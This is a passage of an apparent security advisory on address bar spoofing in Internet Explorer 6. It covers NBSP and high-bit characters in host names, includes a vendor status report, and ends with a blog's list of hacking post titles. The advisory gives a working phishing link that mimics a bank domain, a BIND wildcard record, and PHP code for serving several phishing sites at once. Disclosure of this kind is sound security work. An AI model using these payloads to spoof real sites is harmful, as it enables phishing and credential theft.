Japanese, Korean and Thai. So with the exception of these
languages, IE6 will request a DNS resolution for
www.foo(\xC2)(\xA9)bar.com when it navigates to
http://www.foo%A9bar.com/.

Attack #1: Raw/HTML-encoded characters
--------------------------------------

IE6 allows "raw" high-bit characters to be typed in the address
bar, e.g.

http://www.foo(c)bar.com/

In such case, the character is displayed in the address bar
(unlike %A9 which is not).

It is possible to present this URL in a link, e.g.:

<a href="http://www.foo©bar.com">FooBar</a>

NOTE: An HTML-encoded character is displayed as the corresponding
Unicode symbol. However, if this symbol is not mapped to the
current code page, IE will not resolve the host name (it shows an
"invalid syntax" error page).

A more interesting, and phishing related example is using the
Non-Blocking Space character (NBSP, Unicode U+00A0). This
character is rendered in the address bar as a space (NBSP is
mapped as 0xA0 in all single-byte character set codepages, i.e.
Windows-1250...Windows-1258 and Windows-874). Thus it opens up an
address bar spoofing trick similar in effect to a one already
disclosed (first reported in BugTraq December 2003:
http://www.securityfocus.com/archive/1/346948, then picked up by
CERT http://www.kb.cert.org/vuls/id/652278 and fixed by Microsoft
as MS04-004).
For example, consider the following phishing link (mimicking
www.yourbankhere.com, yet the real page is served from the domain
phish.site):

<a
href="http://www.yourbankhere.com     &n
bsp;          &
nbsp;          
   .       &nbs
p;          &nb
sp;          &n
bsp; .         
    .phish.site/">YourBankHere</a>

It should be noted that auto-complete does work for these URLs.

When the address bar box is not wide enough to show the whole
URL, the picture is almost identical to that of the genuine URL
(notice there's no slash after the host name, and the additional
dots). When the address bar is at its full width, some users may
still be fooled as the real domain is way off to the right,
separated from the left part of the hostname by many white
spaces. This shows up visually as (may wrap around in the text):

http://www.yourbankhere.com
.                               .             .phish.site/

The attack can be easily implemented using DNS wildcard mapping,
assuming the attacker controls the phish.site domain. The
attacker simply needs to add the following line for the
phish.site zone configuration file (tested with BIND9):

*.phish.site.    IN    A    ...IP address...

Note that the Host header will contain raw 0xA0 bytes. So by
including the following PHP code in the index.php of the phishing
server, the attacker can cater for multiple simultaneous phishing
attacks:

<?php
$match=array();
preg_match("/^([a-zA-Z0-9_.-]+)\\xA0/",
           $_SERVER['HTTP_HOST'],$match);
echo "This is a phishing site for ".$match[1];
?>

Attack #2 (theoretic): URL-encoded characters
---------------------------------------------
It's possible to include URL-encoded characters in the address
bar of IE6. IE6 URL-decodes them before querying the DNS, and
internally this is how they are kept.

Now, here's where it gets interesting: high-bit characters will
not be displayed in the address bar. So instead of showing
visually as "http://www.foo%A9bar.com/" (or
"http://www.foo(c)bar.com/") as one may expect, the address bar
will show "http://www.foobar.com/".

Theoretically, this can be used for phishing. A phisher can
register, say foo(\xC2)(\xA9)bar.com and use that in a phishing
URL (http://www.foo%A9bar.com/). When clicked, the IE6 address
bar will display the expected URL, http://www.foobar.com/.
However, this vulnerability seems to be theoretic only, since (in
the author's limited experience), it's not possible
administratively to register such domain names.

As for domain security, as far as IE6 is concerned, these are two
different domains. Cookies are not shared, access across domains
is denied, SSL certificate will not match, etc. Also, the Host
header includes the value with the original raw character - i.e.
the Host header is:

Host: www.foo(\xA9)bar.com

Even if no real domain can be registered, this can still be
somewhat of an annoyance. For example, spam can offer a URL as
evidence that a company's site is not available, or was hacked.
So if an attacker wants to defame www.foobar.com, he may do so by
sending spam with text such as "foobar inc. went chapter 11 -
site is down. Check out http://www.foo%A9bar.com/". This will end
up in DNS resolution failure.

Auto-completion applies to the address bar string (not the real
URL), hence auto-completing, say, www.fo will result in
www.foobar.com (the real domain name), and the browser will
navigate to the genuine site.

Vendor status
=============

Microsoft (MSRC) was informed of the two issues on January 13th,
2008. MSRC acknowledged the two problems and assigned the first
one the ticket MSRC7899, and the second one MSRC7900. However,
Microsoft declined to fix the issues.

Additional notes and observations
=================================

Label and name lengths
----------------------

Labels are limited (per RFC 1034 section 2.3.4) to 63 octets.
This means that no more than 31 consecutive NBSPs can be used.
The trick is to split them into labels (by inserting a dot).
Names are limited to 255 octets (per RFC 1034 section 2.3.4).
This includes the accumulated length of all labels, plus a length
octet preceding all labels (including the 0-length root label).
Apparently, both restrictions are enforced by DnsQuery_A (in
fact, names are limited to 254-256 bytes, including dots).

Additionally, it seems that a non-DNS character counts as 3
octets towards the total name limit (but not towards the label
length limit). A possible explanation is that when a non-ASCII
character is encountered, the worst case UTF-8 representation
length is used (3 octets) rather than the actual UTF-8
rerpesentation length (2 bytes for characters whose Unicode index
is smaller than 0x800 e.g. NBSP, 3 bytes for all other Unicode
characters). Thus, it is impossible to use more than 85 such
characters.

HTTP Caching
------------

There seems to be an additional bug in IE6 regarding how
resources whose URL contain high-bit set bytes are cached. The
key URL is constructed in an erroneous manner. It seems that the
key is constructed as following: take the string consisting of
the URL-encoded URL, e.g. http://www.foo%A9bar.com/, and
overwrite it with the decoded (shorter) URL,
http://www.foo(\xA9)bar.com/, in this case resulting in
http://www.foo(\xA9)bar.comom/. Obviously no regular URL will
match this key, so the caching is meaningless.

The key used for caching retrieval is probably the URL-encoded
version of the URL. And since it's never there, the effect is of
no-caching.

DNS caching
-----------

It was also verified that BIND 9 (the most popular DNS server
software) is capable of serving such domains, both as an
authoritative server and as a caching DNS server (verified with
BIND 9.2.4 as an authoritative and caching server, and 9.4.1-P1
as a caching server). In order to configure BIND to serve the
domain as an authoritative name server, the high-bit bytes
(\xC2)(\xA9) should be inserted to the zone file. Care should be
exercised here with the choice of editor, since some text editors
don't handle high-bit bytes well. It is advised to review the
file contents with a hex-dump tool (e.g. od) to ensure that the
correct bytes were entered.

Windows DNS server (verified with Windows 2003 for Small Business
Server SP2) as a cache server also supports such domain names (no
testing was done regarding Windows DNS server as an authoritative
server).

Root and TLD support
--------------------

Apparently, the root servers and the .COM/.NET gTLD servers are
indifferent to non-ASCII characters in sub-domains, and they will
happily respond to such queries pointing at the authoritative DNS
server (which would be the attacker's server).

IDN and homographs
------------------

The first attack, while abusing the same underlying phenomenon
(different logical symbols which are rendered into graphically
identical or almost indistinguishable forms - SP and NBSP in our
case) is nonetheless completely different than the homograph
attack (http://www.shmoo.com/idn/homograph.txt), which makes use
of the IDN extension to DNS.

The second (theoretic) attack is completely different because the
non-DNS characters simply do not appear in the address bar.

Author's additional notes:

I noticed that some of the crucial information may have been "reformatted" on the way.
So please note that the HTML markup in attack #1 is

<a href="http://www.yourbankhere.com
followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by
another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13
ampersand-NBSP-semicolon followed by a dot followed by
phish.site/">YourBankHere</a>

The address bar appears like
"http://www.yourbankhere.com" followed by 30 spaces, a dot, 31 spaces, a
dot, 13 spaces, a dot and finally "phish.site/"

Hacking Hippie

MERRY CHRISTMAS FOLKS!

Anouncement

Commment!!!!!!!!!!!

How to hack PS3

How to hack PS3 and play pirated games (100% Tested)

First step

Secound step

Last step

If u want to play ps3 games via portable usb hard drive

If u want to transfer games from PC to PS3 via FTP

How To hack psp

This is a guide on how to alter a PSP by downgrading its software. This only works on P.S.P.S. software versions 2.0 and earlier. However Above firmwares can use Pandora's battery to un-brick, downgrade and install custom firmware.

GUIDE TO (mostly) HARMLESS HACKING

GUIDE TO (mostly) HARMLESS HACKING

How To Find Ftp's The Easy Way'

FAQ!!

Understanding SMTP and how to send emails via Telnet.

Understanding SMTP and how to send emails via Telnet.

MY LOGO

DNS

Default usernames and password

Default usernames and passwords for

Routers/Switches/Hubs

XSS worms

XSS worms

10 Easy Steps to Crack a Wireless WEP

10 Easy Steps to Crack a Wireless WEP Key 128 bit using Ubuntu 7.10

ClickJacking

ClickJacking

Buffer Overflow Tutorial

-- Buffer Overflow Tutorial --

Analysis of brute force & dictionary attacks

.-::Analysis of brute force & dictionary attacks.::-.

Hacking from your Web Browser

Hacking from your Web Browser

UNIX hacking

.. The Beginner's guide .. .. to UNIX hacking ..

Advanced application-level OS fingerprinting

Advanced application-level OS fingerprinting: Practical approaches and examples

Advanced Shellcoding Techniques

* Advanced Shellcoding Techniques - *

Advanced Cross-Site-Scripting

Advanced Cross-Site-Scripting with Real-time Remote Attacker Control

Address Bar Spoofing Attacks against Microsoft Internet Explorer 6

.. The Beginner's guide ..
.. to UNIX hacking ..